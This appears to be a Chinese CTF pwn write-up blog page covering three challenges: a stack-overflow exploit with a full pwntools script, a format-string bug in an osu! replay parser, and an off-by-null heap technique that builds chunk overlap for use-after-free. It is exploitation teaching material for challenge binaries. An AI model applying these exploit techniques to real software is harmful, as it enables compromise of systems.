#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
Read More
post @ 2024-03-04

pwn

betterthanu

fgets那存在一个溢出,覆盖 v6为727,v5的值小于v6就好了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[16]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+10h] [rbp-10h]
  unsigned int v6; // [rsp+1Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  printf("How much pp did you get? ");
  fgets(s, 100, stdin);
  v6 = atoi(s);
  v5 = v6 + 1;
  puts("Any last words?");
  fgets(s, 100, stdin);
  if ( v5 < v6 )
  {
    puts("What??? how did you beat me??");
    puts("Hmm... I'll consider giving you the flag");
    if ( v6 == 727 )
    {
      printf("Wait, you got %d pp?\n", 727LL);
      printf("You can't possibly be an NPC! Here, have the flag: ");
      flag_file = fopen("flag.txt", "r");
      fgets(flag, 100, flag_file);
      puts(flag);
    }
    else
    {
      puts("Just kidding!");
    }
  }
  else
  {
    printf("Ha! I got %d\n", v5);
    puts("Maybe you'll beat me next time");
  }
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "chal.osugaming.lol"
PORT = 7279

elf = context.binary = ELF('./challenge')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


payload = b"a" * (0x10) +p64(0) + p32(0) + p32(0x2D7)

sla("How much pp did you get? ","11")
# g(p)
sla("Any last words?",payload)

p.interactive()

miss-analyzer

题目实现了一个 osr parser,https://osu.ppy.sh/wiki/en/Client/File_formats/osr_%28file_format%29,只解析到miss次数那

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rbx
  char v5; // [rsp+15h] [rbp-14Bh]
  __int16 v6; // [rsp+16h] [rbp-14Ah]
  char *lineptr; // [rsp+18h] [rbp-148h] BYREF
  size_t n; // [rsp+20h] [rbp-140h] BYREF
  void *ptr; // [rsp+28h] [rbp-138h] BYREF
  __int64 v10; // [rsp+30h] [rbp-130h] BYREF
  void *v11; // [rsp+38h] [rbp-128h] BYREF
  char format[264]; // [rsp+40h] [rbp-120h] BYREF
  unsigned __int64 v13; // [rsp+148h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( 1 )
  {
    puts("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):");
    lineptr = 0LL;
    n = 0LL;
    if ( getline(&lineptr, &n, stdin) <= 0 )
      break;
    v3 = lineptr;
    v3[strcspn(lineptr, "\n")] = 0;
    if ( !*lineptr )
      break;
    v10 = hexs2bin(lineptr, &ptr);
    v11 = ptr;
    if ( !v10 )
    {
      puts("Error: failed to decode hex");
      return 1;
    }
    puts("\n=~= miss-analyzer =~=");
    v5 = read_byte(&v11, &v10);
    if ( v5 )
    {
      switch ( v5 )
      {
        case 1:
          puts("Mode: osu!taiko");
          break;
        case 2:
          puts("Mode: osu!catch");
          break;
        case 3:
          puts("Mode: osu!mania");
          break;
      }
    }
    else
    {
      puts("Mode: osu!");
    }
    consume_bytes(&v11, &v10, 4LL);
    read_string(&v11, &v10, format, 255LL);
    printf("Hash: %s\n", format);
    read_string(&v11, &v10, format, 255LL);
    printf("Player name: ");
    printf(format);
    putchar(10);
    read_string(&v11, &v10, format, 255LL);
    consume_bytes(&v11, &v10, 10LL);
    v6 = read_short(&v11, &v10);
    printf("Miss count: %d\n", (unsigned int)v6);
    if ( v6 )
      puts("Yep, looks like you missed.");
    else
      puts("You didn't miss!");
    puts("=~=~=~=~=~=~=~=~=~=~=\n");
    free(lineptr);
    free(ptr);
  }
  return 0;
}

漏洞出现在对playername的解析,存在一个格式化字符串的漏洞,需要根据wiki 中 osr文件结构的描述,构造一个合适的osr file,然后打格式化字符串,不合法的file会直接exit()

Read More
post @ 2024-02-27

pwn

你满了,那我就漫出来了![补]

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%u", &v3);
      if ( v3 != 2 )
        break;
      show();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        delete();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add();
    }
  }
}
unsigned __int64 delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else if ( *((_QWORD *)&notes + v1) )
  {
    free(*((void **)&notes + v1));
    *((_QWORD *)&notes + v1) = 0LL;
  }
  else
  {
    puts("No such note.");
  }
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 add()
{
  unsigned int v0; // ebx
  unsigned int v2; // [rsp+Ch] [rbp-24h] BYREF
  unsigned int size; // [rsp+10h] [rbp-20h] BYREF
  unsigned int size_4; // [rsp+14h] [rbp-1Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v2);
  if ( v2 > 0xF )
  {
    puts("There are only 16 pages.");
  }
  else if ( *((_QWORD *)&notes + v2) )
  {
    puts("The note already exists.");
  }
  else
  {
    while ( 1 )
    {
      printf("Size: ");
      __isoc99_scanf("%u", &size);
      if ( size <= 0xFF )
        break;
      puts("Too big!");
    }
    v0 = v2;
    *((_QWORD *)&notes + v0) = malloc(size);
    printf("Content: ");
    size_4 = read(0, *((void **)&notes + v2), size);
    *(_BYTE *)(*((_QWORD *)&notes + v2) + size_4) = 0;
  }
  return __readfsqword(0x28u) ^ v5;
}

题目没有uaf,但是在add的时候有一个off by null,可以通过off by null 触发一次堆合并 构造 一个heap overlap的现象,产生uaf

构造一个这样的情况,在add heap3的时候,heap4的低位一个字节就会被覆盖成 0x00,如果在创建 heap4的时候size 大于等于 0xf8,这时候chunk的大小为 0xf0 + 0x10(size + 8) + 1(prev_inuse),在add heap3的时候 prev_inuse就会被覆盖,再free掉 heap4的时候就会触发 前向合并,将 heap 1 2 3 4合并在一起

heap 1(free) (content "AAAA") 
heap 2(In use) (content "AAAA")
heap 3(In use) (content "A" * (data  - 8) + p64(heap 1 size+ heap2 size+ heap3 size))
heap 4(In use) (content "AAAA") 
High Address

这时候再malloc 5 6 7 8 那就会产生一个堆重叠现象

1 - 5
2 - 6
3 - 7
4 - 8
Read More
⬆︎TOP